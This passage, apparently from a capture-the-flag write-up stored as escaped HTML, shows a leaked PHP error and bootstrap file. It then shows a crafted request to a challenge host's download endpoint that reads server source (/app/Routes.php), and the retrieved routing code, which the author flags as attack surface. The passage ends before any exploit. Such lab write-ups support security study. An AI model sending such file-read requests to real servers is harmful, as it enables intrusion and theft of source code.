&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#22863A, #85E89D);&quot;&gt;b&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;Notice&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#22863A, #85E89D);&quot;&gt;b&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;:  &lt;&#x2F;span&gt;&lt;span&gt;Undefined&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; variable&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; type&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;b&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;app&#x2F;Controllers&#x2F;Download.php&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;b&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; on line &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;b&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;21&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;b&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;br&lt;&#x2F;span&gt;&lt;span&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;php&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;ini_set&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;display_errors&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;ini_set&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;display_startup_erros&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;error_reporting&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;E_ALL&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;require_once&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Routes.php&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;function&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; __autoload&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;$class_name&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;  if&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#E36209, #FFAB70);&quot;&gt;file_exists&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;.&#x2F;classes&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;.$class_name.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;.php&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    require_once&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;.&#x2F;classes&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;$class_name&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;.php&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  }&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;else&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; if&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#E36209, #FFAB70);&quot;&gt;file_exists&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;.&#x2F;Controllers&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;.$class_name.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;.php&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    require_once&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;.&#x2F;Controllers&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;$class_name&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;.php&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In the above code we notice two things:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;The location in the server were the application lives is &lt;strong&gt;&#x2F;app&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Some references to Routes.php file.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;We proceed to download the file.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;http&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;68.183.31.62:94&#x2F;download?file=&#x2F;app&#x2F;Routes.php&amp;amp;hash=b1146e09263e0aae856ff66a57968211&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The Routes.php file is huge but there are two route functions that seems interesting.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;Route&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;set&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;custom&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;function&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  $handler&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; fopen&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;php:&#x2F;&#x2F;input&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  $data&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; stream_get_contents&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;$handler&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  if&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;strlen&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;$data&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;    Custom&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;Test&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;$data&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  }&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;    Custom&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;createView&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Custom&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;Route&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;set&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;admin&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;function&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  if&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;!&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;isset&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;$_REQUEST&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;rss&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; &amp;amp;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; !&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;isset&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;$_REQUES&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;order&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;    Admin&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;createView&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Admin&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  }&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;$_SERVER&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;REMOTE_ADDR&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;127.0.0.1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; ||&lt;&#x2F;span&gt;&lt;span&gt; $_SERVER&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;REMOTE_ADDR&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;::1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;      Admin&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;sort&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;$_REQUEST&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;rss&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt;$_REQUEST&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;order&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;     echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The custom route receives some request body and if the length is greater than 1 calls the Test function from the Custom class.&lt;&#x2F;p&gt;
&lt;p&gt;The admin route can receive two parameters, rss and order. If both exist then a validation happens. The validation checks if the request comes directly from 127.0.0.1 which is localhost. If this is true then the sort function from the Admin class is called.&lt;&#x2F;p&gt;
